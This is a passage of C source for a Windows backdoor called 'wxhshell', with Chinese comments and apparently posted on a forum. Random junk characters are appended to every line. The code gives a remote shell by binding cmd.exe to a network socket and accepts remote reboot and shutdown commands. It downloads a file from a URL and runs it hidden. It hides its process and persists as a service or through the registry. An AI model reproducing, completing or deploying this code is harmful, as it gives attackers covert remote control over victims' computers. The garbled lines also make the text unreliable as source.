>&*6Fqd  
    switch(cmd[0]) { 0Ei\VVK>  
  LBW.*PHW  
  // 帮助 z~GVvgd  
  case '?': { e_YW~z=6t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]R97n|s_  
    break; =~,$V<+c  
  } bv.EM  
  // 安装 ON:LPf>"-  
  case 'i': { 8yY"x ['  
    if(Install()) 71K\.[ =-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Na~g*)uT$  
    else +J\L4ri k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p*A^0DN'Fn  
    break; e}{8a9J<%_  
    } .t"n]X i  
  // 卸载 >l7eoj  
  case 'r': { P&qy.0  
    if(Uninstall()) I@8+k&nXS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v]LFZI5  
    else fs]#/*RR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Bav$kw;?e  
    break; 8Uj68Jl?  
    } ^G ]KE8  
  // 显示 wxhshell 所在路径 M>`?m L  
  case 'p': { DR.3 J`?K  
    char svExeFile[MAX_PATH]; nEjo,   
    strcpy(svExeFile,"\n\r"); aL_;`@4  
      strcat(svExeFile,ExeFile); $#6 Fnhh}  
        send(wsh,svExeFile,strlen(svExeFile),0); /ig^7+#  
    break; 6Y0/i,d*  
    } ?7rmwy\  
  // 重启 {jj]K.&  
  case 'b': { ;`X`c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J>,'P^  
    if(Boot(REBOOT)) |U;w!0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v*vub#wP  
    else { D'HL /[@`  
    closesocket(wsh);  ` 4s#5g  
    ExitThread(0); >=Rd3dgDG  
    } bAA'=z<  
    break; d +*T@k]>M  
    } 17MN8SfQ  
  // 关机 m)tI  
  case 'd': { `R4W4h'I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z/ c'Z#w%  
    if(Boot(SHUTDOWN)) Y{x[N}h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *~\;&G29Y  
    else { @LwVmR |{  
    closesocket(wsh); b;&Yw-\nZ;  
    ExitThread(0); `Gy>tD.#V-  
    } XnNOj>!  
    break; Z_eqM4{  
    } Mt7X<?GZm  
  // 获取shell #R"9)vHp  
  case 's': { 0C4*F  
    CmdShell(wsh); IdN%f]=/  
    closesocket(wsh); ":(Cpf0  
    ExitThread(0); T1g:gfw@  
    break; q\{;_?a  
  } !VJT"Ds_  
  // 退出 g/n"N>L  
  case 'x': { )[^:]}%r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bKZAJLnd  
    CloseIt(wsh); D 9@<#2-  
    break; Gc3PN  
    } P~b%;*m}8  
  // 离开 vl#V-UW$4P  
  case 'q': { 9fr&Yb=_o@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <E(-QJ  
    closesocket(wsh); o$qFa9|Ec?  
    WSACleanup(); Yp?a=R  
    exit(1); qqO10~Xc  
    break; %>x0*T$$  
        } .q|xMS}4  
  } z~A(IQO  
  } 9e :d2  
j3V"d3)  
  // 提示信息 R[ +]d|L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MOH,'@&6^  
} do :RPZ!  
  } EP% M8  
4F 6ju6w  
  return; E`sapk  
} e2VL/>y`  
;Kq<',u~  
// shell模块句柄 n=#[Mi $Y  
int CmdShell(SOCKET sock) +(=[M]5#n  
{ S4uR \|  
STARTUPINFO si; #q^>qX y  
ZeroMemory(&si,sizeof(si)); sov62wuqU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,M9hb<:m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,_4 KyLfBF  
PROCESS_INFORMATION ProcessInfo; +$pO  
char cmdline[]="cmd"; Q%b46"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vp9E}ga  
  return 0; C9^elcdv  
} ) Sh;UW  
Qg8eq_m(  
// 自身启动模式 U%S NROj  
int StartFromService(void) O.m.]%URW  
{ k%bTs+] *  
typedef struct (HP={MrV  
{ Ug[F3J|Mu  
  DWORD ExitStatus; p_kTLNZd9  
  DWORD PebBaseAddress; 9BgQ oK@  
  DWORD AffinityMask; rqG6Ll`=+  
  DWORD BasePriority; k+>p!1  
  ULONG UniqueProcessId; U]R|ej  
  ULONG InheritedFromUniqueProcessId; a} Iz  
}   PROCESS_BASIC_INFORMATION; BfO}4  
:Q%yW%St$  
PROCNTQSIP NtQueryInformationProcess; )="g?E3  
9DocId.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h?O%XnD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }e;p8)]Wl  
nh_xbo5L[  
  HANDLE             hProcess; 70 D Q/b  
  PROCESS_BASIC_INFORMATION pbi; G#=b6DB  
S3[oA&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L:];[xa%  
  if(NULL == hInst ) return 0; hF?\K^tF  
e1Z;\U$&.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZB h@%A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'XjHB!!hU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J1wGK|F~  
%>QSeX  
  if (!NtQueryInformationProcess) return 0; e[Ul"pMvS`  
r|sy_Sk/{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @%okaj#IO  
  if(!hProcess) return 0; ,jdKcWy'  
bgx5{!A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _M[[o5{  
1,sO =p)Yg  
  CloseHandle(hProcess); _KlPbyLU  
)Z`viT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .~/;v~bL  
if(hProcess==NULL) return 0; }N=zn7W  
pz z`4VS:  
HMODULE hMod;  6-E4)0\  
char procName[255]; sRI=TE]s  
unsigned long cbNeeded; 4?6'~G$k  
l[ OQo|_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )I1V 2k$n  
m+JGe5fR<  
  CloseHandle(hProcess); :y)&kJpleP  
tLGwF3e$A  
if(strstr(procName,"services")) return 1; // 以服务启动 n ;fTx  
.M#>@~XR  
  return 0; // 注册表启动 &qj&WfrB,  
} E!]rh,mYK  
:j!_XMyT:  
// 主模块 K%~Kg9  
int StartWxhshell(LPSTR lpCmdLine) {s^n|b}  
{ So0,)  
  SOCKET wsl; W!Os ci  
BOOL val=TRUE; oI"Fpo  
  int port=0; SX<>6vH&  
  struct sockaddr_in door; N,'qMoNf  
( ]uoN4  
  if(wscfg.ws_autoins) Install(); ;{#M  
/t2 <OU9  
port=atoi(lpCmdLine); 4rCqN.J  
J*kzJ{vwy*  
if(port<=0) port=wscfg.ws_port; SOY#, Zu  
oZ>]8vw  
  WSADATA data; Kh_>Vm/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vt7C  
+/ d8d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E~U|v'GCd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZtZV:re=  
  door.sin_family = AF_INET; a[OLS+zf!P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A&|(%  
  door.sin_port = htons(port); uaMm iR  
i_9/!D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [aVJYr2  
closesocket(wsl); [75e\=wK  
return 1; XsCbJ[Z_?q  
} eh# (}v  
-cC(d$y  
  if(listen(wsl,2) == INVALID_SOCKET) { Q? |MBTo  
closesocket(wsl); k{&E}:A  
return 1; =cX"gI[  
} sJ*U Fm{  
  Wxhshell(wsl); vG=$UUh@~  
  WSACleanup(); *`/@[S2,cu  
gG|1$  
return 0; D+nj[8y  
@G&xq "Fg7  
} U\plt%2m>  
s.Ic3ITd,  
// 以NT服务方式启动 15yV4wHr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F973U  
{ <qZ+U4@I)  
DWORD   status = 0; "U~@o4u;  
  DWORD   specificError = 0xfffffff; JN|#   
C)dYAq3,8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WUQh[A41  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fd=`9N9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @g` ,'r  
  serviceStatus.dwWin32ExitCode     = 0; ty8!"-V1  
  serviceStatus.dwServiceSpecificExitCode = 0; JH,fg K+[  
  serviceStatus.dwCheckPoint       = 0; m|?J^_  
  serviceStatus.dwWaitHint       = 0; x" =q+sA  
~ZIRCTQ"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P_Ja?)GT  
  if (hServiceStatusHandle==0) return; Tm,L?Jh  
FO3*[O   
status = GetLastError(); n]g,)m  
  if (status!=NO_ERROR) i2c<q0u  
{ 8 ?R_O}U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \r&@3a.>  
    serviceStatus.dwCheckPoint       = 0; nFn`>kQ  
    serviceStatus.dwWaitHint       = 0; ho=]'MS|  
    serviceStatus.dwWin32ExitCode     = status; {:j!@w3  
    serviceStatus.dwServiceSpecificExitCode = specificError; d|HM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f@X*Tlx^|  
    return; eNskuG|1  
  } Oc=PJf%D#  
lBC-G*#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zIm!8a  
  serviceStatus.dwCheckPoint       = 0; &xT~;R^  
  serviceStatus.dwWaitHint       = 0; ZX}"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )4C6+63OD&  
} - C]a2  
~#Mx&mZ  
// 处理NT服务事件,比如:启动、停止 sm S0Rk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M)RQIl5  
{ Q2PwO;E.`C  
switch(fdwControl) S}I=i>QB  
{ hS/'b$#  
case SERVICE_CONTROL_STOP: !~kzxY  
  serviceStatus.dwWin32ExitCode = 0; g0$k_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f@g  
  serviceStatus.dwCheckPoint   = 0; n#,l&Bx  
  serviceStatus.dwWaitHint     = 0; CplRnKra  
  { i`s pM<iR.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %P6!vx:&^b  
  } pZn%g]nRD  
  return; _ h-X-s Y  
case SERVICE_CONTROL_PAUSE: HK.J/Zr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H!=BjU1Pmg  
  break; bME3" e{O  
case SERVICE_CONTROL_CONTINUE: w#b2iE+Bw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; md s\~l73  
  break; `v er "s;  
case SERVICE_CONTROL_INTERROGATE: 9D21e(7X  
  break; qa?y lR"kA  
}; gWPa8q<b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2J;CiEB  
} +.uk#K0o  
Mb!^_cS(  
// 标准应用程序主函数 =hlu, By  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bS6Yi)p  
{ s]>%_(5  
5Yr$dNe  
// 获取操作系统版本 M] *pBc(o0  
OsIsNt=GetOsVer(); GjG3aqP&!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (o\~2e:  
R:p,Hav<q  
  // 从命令行安装 g{(nt5|^l  
  if(strpbrk(lpCmdLine,"iI")) Install(); x~^nlnKVf  
WGK::?  
  // 下载执行文件 *RM'0[1F4  
if(wscfg.ws_downexe) { Uc2#so$9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z;s-t\C  
  WinExec(wscfg.ws_filenam,SW_HIDE); DVH><3FF  
} 2N]s}/l  
8m0sEV>  
if(!OsIsNt) { >S]')O$c  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;{20Heuz  
HideProc(); tTt~W5lo  
StartWxhshell(lpCmdLine); TQH#sx  
} B8Z66#EQ  
else }lVUa{ubf  
  if(StartFromService()) E(#2/E6  
  // 以服务方式启动 h='=uj8o5  
  StartServiceCtrlDispatcher(DispatchTable); NR{:4zJT  
else 4r&~=up]  
  // 普通方式启动 H'>  
  StartWxhshell(lpCmdLine); W aU_Z/{0  
;;5i'h~?]J  
return 0; \eCdGx?  
}
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只看该作者 1 发表于: 2006-10-10
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